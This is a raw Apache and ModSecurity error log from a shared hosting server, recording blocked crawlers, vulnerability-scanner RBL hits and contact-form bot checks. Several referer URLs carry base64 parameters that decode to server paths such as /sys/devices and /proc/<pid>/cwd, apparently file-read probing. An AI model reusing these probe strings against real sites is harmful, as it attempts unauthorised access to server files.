https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:11:48.937970 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDcvaWQ= [Sat Jun 13 18:11:49.140586 2026] [security2:error] [pid 531797:tid 531905] [remote 111.225.149.244:10938] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/"] [unique_id "ai3xxcTA7b1mZrmcA-8v1QACiyk"] [Sat Jun 13 18:11:49.427822 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.98:33720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:49.428250 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.98:33720] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:49.459578 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.112:44470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:49.459865 2026] [access_compat:error] [pid 531155:tid 531187] [remote 57.141.14.112:44470] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:49.478954 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.15.137:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xxcTA7b1mZrmcA-8v3wACTlU"] [Sat Jun 13 18:11:49.510729 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:49.511174 2026] [access_compat:error] [pid 531155:tid 531261] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:49.688111 2026] [security2:error] [pid 531797:tid 531943] [remote 74.7.242.16:47660] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/"] [unique_id "ai3xxcTA7b1mZrmcA-8v5AACWE8"], referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:11:49.923815 2026] [security2:error] [pid 531155:tid 531199] [remote 17.22.253.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xxSmiP80klyS0NnoAdgABTCs"] [Sat Jun 13 18:11:49.998165 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:49.998649 2026] [access_compat:error] [pid 531155:tid 531186] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:50.124024 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.39:26912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:50.124298 2026] [access_compat:error] [pid 531797:tid 531983] [remote 57.141.14.39:26912] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:50.189542 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.15:61295] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:50.189828 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.15:61295] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:50.310787 2026] [security2:error] [pid 531797:tid 532108] [client 114.119.131.43:35031] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.helenloo.com"] [uri "/music"] [unique_id "ai3xxsTA7b1mZrmcA-8v-wAAAoE"], referer: http://www.helenloo.com/yoga [Sat Jun 13 18:11:50.349235 2026] [security2:error] [pid 531155:tid 531345] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/DateTimeZone_getName_error.phpt"] [unique_id "ai3xximiP80klyS0NnoAgAAAAUY"] [Sat Jun 13 18:11:50.506104 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:11:50.506538 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:11:50.648125 2026] [security2:error] [pid 531155:tid 531185] [remote 17.241.75.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xximiP80klyS0NnoAjAABNR0"] [Sat Jun 13 18:11:50.769329 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.111:53576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:50.769601 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.111:53576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:51.020507 2026] [security2:error] [pid 531155:tid 531171] [remote 17.22.253.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xxymiP80klyS0NnoAkAABCw8"] [Sat Jun 13 18:11:51.022030 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:11:51.022398 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:11:51.065708 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.100:28489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:51.065972 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.100:28489] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:51.147017 2026] [security2:error] [pid 531155:tid 531273] [remote 2.126.205.189:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xxymiP80klyS0NnoAlAABd3U"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:51.147049 2026] [security2:error] [pid 531155:tid 531273] [remote 2.126.205.189:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3xxymiP80klyS0NnoAlAABd3U"], referer: https://www.torquayfans.com [Sat Jun 13 18:11:51.167845 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.9:34800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:51.168118 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.9:34800] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:51.658959 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:51.659448 2026] [access_compat:error] [pid 531155:tid 531216] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:11:51.833136 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.61:20556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:51.833587 2026] [access_compat:error] [pid 531797:tid 531977] [remote 57.141.14.61:20556] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:52.121890 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:11:52.122334 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDEvaWQ= [Sat Jun 13 18:11:52.209676 2026] [security2:error] [pid 531797:tid 531904] [remote 17.246.19.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xyMTA7b1mZrmcA-8wLwACPyg"] [Sat Jun 13 18:11:52.292273 2026] [access_compat:error] [pid 531155:tid 531247] [remote 57.141.14.78:63418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:52.292705 2026] [access_compat:error] [pid 531155:tid 531247] [remote 57.141.14.78:63418] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:52.593460 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.51:65400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:52.593773 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.51:65400] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:52.677130 2026] [security2:error] [pid 531155:tid 531205] [remote 17.241.227.197:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 197.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xyCmiP80klyS0NnoAsgABfDE"] [Sat Jun 13 18:11:52.695429 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 